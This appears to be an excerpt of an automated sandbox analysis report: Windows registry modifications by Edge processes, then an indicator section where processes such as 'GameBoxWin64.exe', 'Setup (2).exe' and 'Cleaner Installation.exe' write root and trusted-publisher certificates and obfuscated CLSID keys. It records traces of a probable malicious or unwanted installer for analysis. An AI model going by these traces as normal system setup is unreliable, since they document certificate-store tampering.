\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" btsitav Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 87144eb94498d701 btsitav Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000" btsitav Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry btsitav Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0" btsitav Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0000000000000000 btsitav Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2" btsitav Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "{F6A6C18A-265F-49EB-A137-E0C7119DCD5A}" btsitav Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "5" btsitav Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 7fc328b74498d701 btsitav Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0" btsitav Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache btsitav Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0" btsitav Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" btsitav Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 275182c54498d701 btsitav Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\"" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1" btsitav Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063" btsitav Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGLockdown\BlameModules btsitav Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main btsitav Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0" btsitav Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{74WP1CM3-506M-V62R-WR42-7MQP227Y2YLP} rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache btsitav Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" btsitav Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1" btsitav Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0" btsitav Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405" btsitav Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{62FM2EJ3-714D-A09D-WM25-6QFJ226I1FER}\1 = "2201" rundll32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{69RG4ZP0-857P-S13A-ZW93-6DTG316B7ZWC}\7289246C77593EBF\2 = "1" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder btsitav Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser btsitav Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{45AC2TN3-666M-M32E-TO40-1MIP137D5TOZ}\1 = "1328" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming btsitav Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersi = "1" btsitav Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 1d24df8b702cd701 btsitav Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows btsitav Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 58575fcf4498d701 btsitav Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating btsitav Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID svchost.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" btsitav Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings MicrosoftEdgeCP.exe -
Processes:
GameBoxWin64.exeRUNDLL32.EXERUNDLL32.EXESetup (2).exeSetup.tmpCleaner Installation.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 GameBoxWin64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\4C6E431A1F9B740F69736DEC2D591892A4D47F1A RUNDLL32.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\4C6E431A1F9B740F69736DEC2D591892A4D47F1A RUNDLL32.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 GameBoxWin64.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 GameBoxWin64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Setup (2).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Setup (2).exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC Setup.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 GameBoxWin64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E Cleaner Installation.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307